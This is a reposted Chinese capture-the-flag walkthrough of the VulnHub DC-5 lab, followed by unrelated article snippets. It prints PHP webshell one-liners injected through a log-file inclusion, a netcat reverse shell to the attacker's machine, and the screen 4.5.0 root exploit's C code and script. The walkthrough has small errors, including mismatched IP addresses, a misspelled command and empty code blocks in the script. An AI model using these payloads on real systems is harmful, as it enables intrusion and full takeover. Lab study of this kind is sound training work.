靶場練習第十三天~vulnhub靶場之dc-5

一、準備工作

1.靶機環境搭建

下載鏈接: https://pan.baidu.com/s/1csvuJ_NVCBvVr75KhxyM3Q?pwd=xie7 提取碼: xie7

2.kali的ip

命令:ifconfig

3.kali和靶機的都設置為NAT模式

二、信息收集

1.nmap的信息收集

(1)尋找靶機的ip

命令: nmap 192.168.101.0/24

(2)查看靶機的端口及其協議

命令:nmap -A 192.168.101.118

命令2:nmap -sV -p- 192.168.101.118 (-sV是用來掃描目標主機和端口上運行的軟件的版本 )

2.網頁的信息收集

(3)訪問192.168.101.118

因為靶機開放了80端口,訪問一下網站

翻一下網站的頁面功能后,點擊打開contact頁面的提交留言后,出現改變

改變前:

改變后: contact頁面的年份信息會隨著刷新頁面而變化

訪問http://192.168.101.118/footer.php

用dirb掃描一下網站

命令 :dirb http://192.168.101.118 -X .php .html .txt

發現成功文件包含

因為靶機服務掃描時發現靶機網站使用的是nginx服務器,我們知道nginx服務器的默認配置文件是/etc/nginx/nginx.conf,所以將nginx的配置文件包含過來查看日志路徑,發現了nginx的日志路徑

查看日志文件 /var/log/nginx/access.log通過bp抓包寫入一句話木馬

一句話木馬語句:<?php @eval($_POST[value]); ?>

通過日志文件log查看是否寫入成功;

日志路徑為:/var/log/nginx/access.log,是系統默認路徑

通過firefox瀏覽器打開(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),發現一句話木馬已經寫入成功。 通過BurpSuite抓包,并寫入PHP的執行系統命令

語句: <?php passthru($_GET['hh']); ?>

進行測試,看是否外部命令是否能夠正常執行的;
命令:http://192.168101.118/thankyou.php?file=/var/log/nginx/access.log&hh=cat%20/etc/passwd

發現已經執行命令

?

(4)通過nc命令直接進行shell反彈

1.在網頁url添加命令:hh= nc 192.168.101.10 4444 -c /bin/bash

2.kali開啟添加,命令: nc -lvvp 4444

(5)優化命令執行終端

執行下面命令進入python交互式(注意要下載python環境才能運行):

python -c ‘import pty;pty.spawn(“/bin/bash”)’

三、滲透

1.查看具有特殊權限的二進制文件

查找一下可以用root權限運行的命令;
命令: find / -perm -u=s -type f 2>/dev/null

由上圖可知發現了一個screen特殊文件

2.searchsploit命令對screen-4.5.0漏洞進行搜索

kali終端使用命令:searchsploit screen-4.5.0

3.將該41154.sh文件拷貝到/root目錄下

4. 漏洞腳本文件的利用

將41154.sh中上面一部分c語言代碼另存為libhax.c 編譯libhax.c文件
命令:gcc -fPIC -shared -ldl -o libhax.so libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

將41154.sh中下面一部分c語言代碼另存為rootshell.c 編譯rootshell.c文件

命令: sudo vim rootshell.c、cat rootshell.c、gcc -o rootshell rootshell.c

#include <stdio.h>

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

將41154.sh中剩下部分代碼另存為dc5.sh腳本文件
并在保存dc5.sh文件輸入 :set ff=unix ,否則在執行腳本文件時后出錯

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

5.再次使用nc命令將文件上傳到靶機

進入到kali的tmp,分別輸入

nc 192.168.101.10 4444 >libhax.so

nc 192.168.101.10 4444 >rootshell

nc 192.168.101.10 4444 >dc5.sh

反向連接靶機的那一端,分別輸入

nc -lvvp 4444 < libhax.so

nc -lvvp 4444 < rootshell

nc -lvvp 4444 <dc5.sh

靶機和kali都要進入到tmp目錄下面,注意kali與靶機輸入時要一一對應

四、提權

1.輸入如下命令進行提權

cd /etc

umask 000

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

screnn -ls

/tmp/rootshell

2.拿下flag

cd /root

cat thisistheflag.txt

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/375045.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/375045.shtml
英文地址,請注明出處:http://en.pswp.cn/news/375045.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Ubuntu中輸入輸出重定向及管道技術簡述

輸出 1、標準輸出 定義&#xff1a;程序在默認情況下輸出結果的地方&#xff08;stdout&#xff09;。 2、輸出重定向 定義&#xff1a;用于把數據的輸出轉移到另一個地方去。 3、Ubuntu中例子 $ls > ~/ls_out ##不顯示在顯示器上而是輸入到文件ls_out中 uname -r > ls_…

activex打包

http://www.cnblogs.com/weiwin/p/4493835.html activeX 打包 原文 http://www.docin.com/p-409284488.html CAB打包文檔說明 文檔目的本文檔的目的在于說明將ocx和dll以及相關的文件打包成一個CAB包&#xff0c;以便在網頁下調用ocx控件時免去手工將dll和其他一下文件拷貝到客…

靶場練習第十四天~vulnhub靶場之dc-6

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接: 百度網盤 請輸入提取碼 提取碼: bazx 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip 命令&#xff1a;sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#…

最短路徑Dijkstra算法和Floyd算法整理、

轉載自&#xff1a;http://www.cnblogs.com/biyeymyhjob/archive/2012/07/31/2615833.html 最短路徑—Dijkstra算法和Floyd算法 Dijkstra算法 1.定義概覽 Dijkstra(迪杰斯特拉)算法是典型的單源最短路徑算法&#xff0c;用于計算一個節點到其他所有節點的最短路徑。主要特點是以…

Java Script 中 ==(Equal) 和 === (Identity Equal) 的區別和比較算法邏輯

判斷兩個變量是否相等在任何編程語言中都是非常重要的功能。 JavaScript 提供了 和 兩種判斷兩個變量是否相等的運算符&#xff0c;但我們開始學習的時候 JavaScript 的時候&#xff0c;就被一遍又一遍的告知&#xff1a; 要求變量的類型和值均相等&#xff0c;才能返回true…

靶場練習第十五天~vulnhub靶場之dc-7

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接:https://download.vulnhub.com/dc/DC-7.zip 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&…

ubuntu系統下如何修改host

Ubuntu系統的Hosts只需修改/etc/hosts文件&#xff0c;在目錄中還有一個hosts.conf文件&#xff0c;剛開始還以為只需要修改這個就可以了&#xff0c;結果發現是需要修改hosts。修改完之后要重啟網絡。具體過程如下&#xff1a;1、修改hostssudo gedit /etc/hosts2、添加解析記…

Matplotlib不顯示圖形

安裝好了Matplotlib&#xff0c;使用官方一個例子測試運行時&#xff0c;發現使用畫圖功能時&#xff0c;運行腳本老是顯示不出圖像&#xff0c;Google了一下&#xff0c;后來發現是matplotlibrc文件沒配置好。 參考了官方文檔&#xff0c;修改步驟如下 1.查找matplotlibrc文件…

靶場練習第十六天~vulnhub靶場之dc-8

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接:https://download.vulnhub.com/dc/DC-8.zip 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&…

【SpringMVC】SpringMVC系列4之@RequestParam 映射請求參數值

4、RequestParam 映射請求參數值 4.1、概述 Spring MVC 通過分析處理方法的簽名&#xff0c;將 HTTP 請求信息綁定到處理方法的相應人參中。Spring MVC 對控制器處理方法簽名的限制是很寬松的&#xff0c;幾乎可以按喜歡的任何方式對方法進行簽名。必要時可以對方法及方法入…

Sprint3

進展&#xff1a;今天主要是各自熟悉安卓應用開發平臺&#xff0c;設計了圖標&#xff0c;沒什么實際上的進展。 燃盡圖&#xff1a; 團隊工作照&#xff1a; 轉載于:https://www.cnblogs.com/XJXYJ/p/4495810.html

靶場練習第十七天~vulnhub靶場之dc-9

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接:https://download.vulnhub.com/dc/DC-9.zip 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&am…

Linux內核分析 02

二&#xff0c;操作系統是如何工作的 1、函數調用堆棧 三大法寶&#xff1a;存儲程序計算機 函數調用堆棧 中斷機制 堆棧&#xff1a;是C語言程序運行時必須的一個記錄調用路徑和參數的空間。是計算機內部現成的東西&#xff0c;我們直接使用。 包括函數調用框架、傳遞參數、保…

一 UI基本的用法

1. UIView的基本用法 //打印屏幕的寬和高CGRect screenBounds [[UIScreen mainScreen] bounds];NSLog("%f, %f", screenBounds.size.width, screenBounds.size.height);//創建一個UIView//UIView表示一個矩形區域UIView *v1 [[UIView alloc] init];//1.確定大小CGR…

靶場練習第十八天~vulnhub靶場之hackableII

一、準備工作 kali和靶機都選擇NAT模式&#xff08;kali與靶機同網段&#xff09; 1.靶場環境 下載鏈接:Hackable: II ~ VulnHub 2.kali的ip 命令:ifconfig 3.靶機的ip 掃描靶機ip sudo arp-scan -l 二、信息收集 1.nmap的信息收集 &#xff08;1&#xff09;掃描靶機開…

Object-c基礎(2)

類和對象 類 在Object-c中類&#xff0c;其接口&#xff08;interface&#xff09;和實現&#xff08;implementation&#xff09;是分離開來的 類的聲明 interface 類名:父類名{實例變量的定義;}方法聲明;...end類的實現 implementation 類名方法定義...end對象 一個類提供…

arm linux 下移植busybox 的tftp

&#xff08;1&#xff09;進入busybox目錄&#xff0c;make menuconfig &#xff0c;然后在networking中勾選tftp項跟tftpd項。 &#xff08;2&#xff09;配置/etc/inetd.conf 中關于tftp的選項&#xff08;此部未驗證&#xff0c;不需要應該也可以&#xff09; tftp dgra…

靶場練習第二十天~vulnhub靶場之Funbox: Scriptkiddie

一、環境搭建 靶官網機下載地址&#xff1a;Funbox: Scriptkiddie ~ VulnHub 百度云盤下載鏈接: 百度網盤 請輸入提取碼 提取碼: i4a9 二、信息收集 1.nmap命令掃描靶機 先用ifconfig查看kali的IP&#xff0c;因為kali和靶機都是NAT模式下&#xff0c;所以用 nmap 192.168…

documentbodyscrollTop的值總為零的解決辦法

有一個功能需要判斷返回頂部按鈕是否顯示。 JS代碼如下&#xff1a; var sTop document.body.scrollTop;if(sTop>100){document.getElementById("sm_top").style.display"block";}else{document.getElementById("sm_top").style.display&quo…

spring mvc 多線程并發

ThreadLocal為解決多線程程序的并發問題提供了一種新的思路。使用這個工具類可以很簡潔地編寫出優美的多線程程序。 http://www.xuebuyuan.com/1628190.html 我們知道Spring通過各種DAO模板類降低了開發者使用各種數據持久技術的難度。這些模板類都是線程安全的&#xff0c;也就…